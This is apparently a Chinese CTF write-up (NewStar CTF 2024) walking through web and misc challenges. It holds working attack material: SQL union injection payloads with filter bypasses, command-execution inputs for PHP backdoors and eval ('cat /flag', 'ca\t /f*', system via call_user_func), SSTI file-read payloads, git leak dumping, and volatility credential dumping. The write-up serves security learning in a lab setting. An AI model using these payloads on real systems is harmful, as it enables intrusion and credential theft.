WP部分学习官方解题思路,这次比赛还是收获满满呀
web方向:
headach3
抓包拿到flag
会赢吗
第一关:
查看源码看到flag第一部分和目录
第二关:
查看js文件
revealflag方法传入了一个className参数
<script>
async function revealFlag(className) {
try {
const response = await fetch(`/api/flag/${className}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
if (response.ok) {
const data = await response.json();
console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
} else {
console.error('请求失败,请检查输入或服务器响应。');
}
} catch (error) {
console.error('请求过程中出现错误:', error);
}
}
// 控制台提示
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
</script>
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
根据提示尝试传入参数4cqu1siti0n
第三关:
查看源码
<script>
document.addEventListener('DOMContentLoaded', function () {
const form = document.getElementById('seal_him');
const stateElement = document.getElementById('state');
const messageElement = document.getElementById('message');
form.addEventListener('submit', async function (event) {
event.preventDefault();
if (stateElement.textContent.trim() !== '解封') {
messageElement.textContent = '如何是好?';
return;
}
try {
const response = await fetch('/api/flag/s34l', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
});
if (response.ok) {
const data = await response.json();
messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
} else {
messageElement.textContent = '请求失败,请重试。';
}
} catch (error) {
messageElement.textContent = '请求过程中出现错误,请重试。';
}
});
});
</script>
修改前端为解封即可
第四关:
<body>
<div class="overlay"></div>
<div class="content">
<h1>会赢吗?</h1>
<h2>现代最强的归来,五条悟的复活宣言!</h2>
<p>绝对的强者,由此而生的孤独,教会你爱的是....</p>
<form id="winForm" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">会赢的!</button>
</form>
<noscript>
<form class="s" action="/api/flag/Ap3x" method="post">
<input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_">
<button type="submit">无量空处!!</button>
</form>
</noscript>
<p id="message"></p>
</div>
<script>
document.querySelector('form').addEventListener('submit', function (event) {
event.preventDefault();
alert("宿傩的领域太强了,有什么办法让他的领域失效呢?");
});
(function () {
const originalConsoleLog = console.log;
console.log = function () {
originalConsoleLog.apply(console, arguments);
alert("你觉得你能这么简单地获取到线索?");
};
})();
</script>
</body>
看到<noscript>,用Disable JavaScript插件禁用javascript,点击按钮,拿到最后一段flag
智械危机
根据提示
我家看门的robots有点铸币,怎么会告诉别人后门没有锁呢
访问robots.txt
拿到源码:
<?php
function execute_cmd($cmd) {
system($cmd);
}
function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}
if (isset($_POST['cmd']) && isset($_POST['key'])) {
execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
highlight_file(__FILE__);
}
?>
首先post请求传入参数cmd key:
if (isset($_POST['cmd']) && isset($_POST['key'])) { execute_cmd(decrypt_request($_POST['cmd'],$_POST['key'])); }
调用execute_cmd和decrypt_request函数
先看decrypt_request函数
function decrypt_request($cmd, $key) {
$decoded_key = base64_decode($key);
$reversed_cmd = '';
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
$hashed_reversed_cmd = md5($reversed_cmd);
if ($hashed_reversed_cmd !== $decoded_key) {
die("Invalid key");
}
$decrypted_cmd = base64_decode($cmd);
return $decrypted_cmd;
}
首先对key参数base64解码
$decoded_key = base64_decode($key);
之后将传入的cmd参数反转并存入变量reversed_cmd中,
for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
$reversed_cmd .= $cmd[$i];
}
对reversed_cmd变量md5加密,
$hashed_reversed_cmd = md5($reversed_cmd);
之后如果$hashed_reversed_cmd == $decoded_key ,对cmd参数base64解码并返回。
总结来说:
key参数base64解码后 == cmd参数反转后md5加密。
cmd参数base64解码后的结果是我们要命令执行的内容
脚本如下(其实还可以优化一下,就这样吧[报错.jpg]):
import base64
import hashlib
cmd_base64decode = 'ls /'
cmd = cmd_base64decode.encode('utf-8')
cmd = base64.b64encode(cmd)
cmd_reverse = cmd[::-1]
cmd_reverse = cmd_reverse.decode('utf-8')
md5_obj = hashlib.md5()
md5_obj.update(cmd_reverse.encode('utf-8'))
md5_cmd = md5_obj.hexdigest()
md5_cmd = md5_cmd.encode('utf-8')
key = base64.b64encode(md5_cmd)
cmd =cmd.decode('utf-8')
key = key.decode('utf-8')
print(f"cmd={cmd}&key={key}")
执行system('ls');
传入参数
cmd=bHM=&key=N2FiZThiMjRiZDAxMzc0NDZmZDMzNmMyMjk4ZmNjYTA=
执行system('cat /flag');
cmd=Y2F0IC9mbGFn&key=ODc5YTU5MWM2Nzg1YTRlMTM5OGI5NmE5YTFiYzY3ZWI=
谢谢皮蛋
数字型联合注入
判断注入类型:
1 and 1=1 页面正常 1 and 1=2 页面不正常 判断为数字型注入
判断列名数量
1 order by 2
判断回显点
-1 union select 1,2
爆库
-1 union select 1,database()
爆表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf'
爆字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g'
爆flag
-1 union select 1,(select group_concat(des,value))from Fl4g
你能在一秒内打出八句英文吗
(用BP抓包不知道为什么整不出来,哭死)
学习官方解题思路:
import requests
from bs4 import BeautifulSoup
session = requests.Session() #保持会话
url = "http://127.0.0.1/start"
response = session.get(url) #使用之前创建的session对象发送一个GET请求到指定的URL
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser') #使用BeautifulSoup解析响应的文本内容
text_element = soup.find('p', id='text') #在解析后的HTML文档中查找第一个<p>标签,其id属性为text
if text_element: #如果找到第一个<p>标签,其id属性为text
value = text_element.get_text()
print(f"{value}") #从找到的<p>标签中提取文本内容并打印。
submit_url = "http://127.0.0.1/submit"
payload = {'user_input': value}
post_response = session.post(submit_url, data=payload) #使用之前创建的session对象发送一个POST请求到指定的URL,并附带数据。
print(post_response.text) #打印POST请求的响应内容
else:
print(f"{response.status_code}")
谢谢皮蛋 plus
1"&&/**/1=1# 1"&&/**/1=2#
测试后可以发现是字符型双引号注入,还是可以通过联合查询
但发现过滤了一些参数,空格和and
a = input('a=')
a = a.replace(" ","/**/")
a = a.replace("and","&&")
print(a)
爆flag语句:
-1"//union//select//1,(select//group_concat(des,value))from/**/Fl4g#
遗失的拉链
打开页面没有信息,目录扫描发现www.zip
看到源码:
<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
//欸 为啥sha1和md5相等呢
$cmd = $_POST['cmd'];
if (preg_match("/cat|flag/i", $cmd)) {
die("u can not do this ");
}
echo eval($cmd);
}else{
echo "Wrong";
}
}
sha1和md5强比较,数组绕过即可
过滤了cat和flag
使用\ 和* 绕过即可
system('ca\t /f*');
PangBai 过家家(1)
根据提示,查看请求头和响应头
- 访问路径,进入第二关
提示:向 PangBai 询问(Query)一下(ask=miao)吧 ~
Query是传递请求参数的方式,在url中加上?ask=miao即可
- 进入第三关
提示:用另一种方法(Method)打声招呼(say=hello)吧 ~
这里我们直接post请求:say=hello即可
- 进入第四关
这里我点进去
你需要使用正确的方法(Method)来与 PangBai 沟通。
我重新post请求,就获得新的提示了
PangBai 回应了呢!可只有 Papa 的话语才能让她感到安心。 代理人(Agent),这个委托你就接了吧!
根据提示,判断出我们要构造User-Agent
但是我构造User-Agent : Papa没有成功
题目要求必须按照标准格式填写,因此需携带任意版本号发送一个 POST 请求:
User-Agent: Papa/1.0
你的话语似乎没有对 PangBai 起效,试着说「玛卡巴卡阿卡哇卡米卡玛卡呣」。
修改:say=玛卡巴卡阿卡哇卡米卡玛卡呣
- 第五关(我这一步操作有问题,没成功):
这里便是 PangBai 的心境了呢!试着解开心结吧 ~
或许可以尝试用修改(PATCH)的方法提交一个补丁包(name="file"; filename="*.zip")试试。
没思路,学习一下官方的解题方法:
PATCH 方法
浏览器插件并不支持发送 PATCH 包和自定义文件,必须通过一些发包工具或者写代码来发送该内容。PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。
PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168
--abc
Content-Disposition: form-data; name="file"; filename="1.zip"
123
--abc
Content-Disposition: form-data; name="say"
玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--
返回值为新的cookie
通过浏览器开发者工具的「存储」(应用程序 » 存储)选项卡编辑 Cookie,将 Set-Cookie 字段的 token 值应用更新。随后再次携带新 Cookie 刷新网页即可。
- 第六关提示localhost
设置Referer: http://localhost
新提示:
PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。
你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。
「像■■■■验体■■不可能■■■■ JWT 这种■■ Pe2K7kxo8NMIkaeN ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」
「......」
这里学习新知识点:JWT
JWT 是一个轻量级的认证规范,允许在用户和服务器之间传递安全可靠的信息。
Pe2K7kxo8NMIkaeN为签名密钥
(JWT 并不对数据进行加密,而仅仅是签名,不同的数据对应的签名不一样,因此在没有密钥的情况下,你可以查看里面的数据,但修改它则会导致服务器验签失败,从而拒绝你的进一步请求)
PangBai 过家家(2)
任务 1:清点泄露的文件,找到后门
这里提示目录泄露,尝试访问.git,没有看到信息
(经过这道题,GitHack还是在Linux环境用吧………………)
用githacker拿到泄露文件
githacker --url 'http://eci-2ze8beum9socd73cpxm9.cloudeci1.ichunqiu.com/.git/' --output-folder aaa
git stash list 发现后门
尝试恢复
git stash pop
访问文件,进入第二关
目标任务:从后门出去
查看后门文件源码
<?php
# Functions to handle HTML output
function print_msg($msg) {
$content = file_get_contents('index.html');
$content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
$content = preg_replace('/ event/', '', $content);
$content = str_replace('点击此处载入存档', $msg, $content);
echo $content;
}
function show_backdoor() {
$content = file_get_contents('index.html');
$content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
echo $content;
}
# Backdoor
if ($_POST['papa'] !== 'TfflxoU0ry7c') {
show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
print_msg('PangBai loves you!');
call_user_func($_POST['func'], $_POST['args']);
} else {
print_msg('PangBai hates you!');
}
首先是POST传参papa=TfflxoU0ry7c
之后GET传入NewStar_CTF.2024不等于Welcome,但后面的正则又完全匹配
这里我们可以使用换行符%0a绕过正则匹配preg_match
使用 '[' 绕过NewStar_CTF.2024的 '_'
最后我们可以通过call_user_func构造命令执行
func=system&args=ls /
但是没有看到flag
查看环境变量,找到flag
func=system&args=env
复读机
这里发现是SSTI漏洞
尝试找一下os索引,但是发现回显:
bot的回答是bot讨厌上课
可能有过滤。
这里发现过滤了class关键字
可以通过关键字拼接绕过
{{''['cl'+'ass'].bases[0]'subcl'+'asses'}}
粘贴到记事本中,ctrl+f找到os
删去该os及其后所有类
复制,粘贴到vscode中
ctrl+f搜索","有几个逗号,os的索引值就是几,这里就是131
但是后面使用
{{''['cl'+'ass'].bases[0]'subcl'+'asses'[131]}}报错了
直接进行文件读取就拿到flag了
{{x.init.globals['builtins'].open('/flag', 'r').read()}}
用fenjing跑,可以绕过waf,但是没跑出来
MISC方向:
decompress
点到里面,找到一个分卷压缩包和一个txt
这里是密码提示:首先是3个连续的小写字母,之后是一个数字,最后面是一个小写字母
(爆破是件很头疼的事情啊,我用ziperello或者ARCHPR好像实现不了)
根据官方提示,找到一个passware的爆破软件,尝试爆破
直接爆破出密码
分卷压缩包,选择第一个分卷解压即可。拿到flag
pleasingMusic
我纯靠听,听了半天,最后发现结果错的………
感觉歌词不对劲,把摩斯密码倒过来就拿到flag了
WhereIsFlag
在根目录下看到proc目录,看一下他的进程,但是看不了
/proc/1/environ
最后在/proc/self/environ文件中找到flag
Labyrinth
提示LSB
使用zsteg看了一下,没什么有用的信息
使用stegsolve查看信道发现二维码,拿到flag
兑换码
提示:领取newstar前瞻兑换码,明天中午12点就失效喽!就在图片下面。什么,你没有看到?原来是png的下面啊,那没事了。
提示png图片的下面,想到png的宽高被修改,CRC爆破一下,拿到flag
wireshark_checkin
很简单的流量包分析题
搜索flag,发现flag.txt
导出http对象即可拿到flag
wireshark_secret
根据提示:un偷看涩图,被抓到流量了
我们要拿到的应该是一个图片
搜索png,发现secret.png
导出http对象,拿到flag
热心助人的小明同学
提示:小明的邻居小红忘记了电脑的登录密码,好像设置的还挺复杂的,现在小红手里只有一个内存镜像(为什么她会有这个?),小明为了帮助邻居就找到了精通电脑的你……
这道题是一道镜像恢复题
要求:flag{你找到的系统登录密码}
这里需要用到一款工具:volatility
查看系统基本信息:
python2 vol.py -f image.raw imageinfo
这里注意到profile:Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
查看用户名账号密码信息:
python2 vol.py -f image.raw --profile=Win7SP0x86 hashdump
但是这里密码是加密的,我没有爆破出来(哭死.jpg)
看官方文档,拿 lsadump梭哈
python2 vol.py -f image.raw --profile=Win7SP0x86 lsadump
拿到flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}
用溯流仪见证伏特台风
flag的位置
这里我们可以看到The Rise of Dark Power
google搜索到这篇文章
下载下来移开图片拿到flag
跟着WP的思路
学到了新的工具,网站时光机:Wayback Machine
也能下载当时的文章
你也玩原神吗
用stegsolve的gif分离,拿到密文
在米哈游找到瓦特文字…………出题人无敌
对照解密就行
左下角文字解密后是 doyouknowfence,提示是「栅栏密码」
右下角文字就是密文
字里行间的秘密
0宽度隐写
在线网站解密:
docx文件隐写,改变字体颜色,拿到flag
Herta's Study
搜索flag字符,发现flag.txt,导出HTTP对象
拿到upload.php
<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
);
echo $bbb($payload);
?>
先将'CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m' rot13解码,再把字符串进行base64解码
$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
if($i%2==1){
$ns[$i]=str_rot13($ns[$i]);
}
}
return $ns;
这是一个加密函数
将flag进行base64加密,然后奇数位进行rot13加密
我们将导出http对象拿到的flag文本文件解密就行,(f.txt是真的flag)
'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt=='
这里就参考官方的脚本了,当然手搓解码也是可以的:
<?php
$ns = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
for ($i = 0; $i < strlen($ns); $i += 1){
if ($i % 2 == 1) {
$ns[$i] = str_rot13($ns[$i]);
}
}
echo base64_decode($ns);
// flag{sH3_i4_S0_6eAut1fuL.}
?>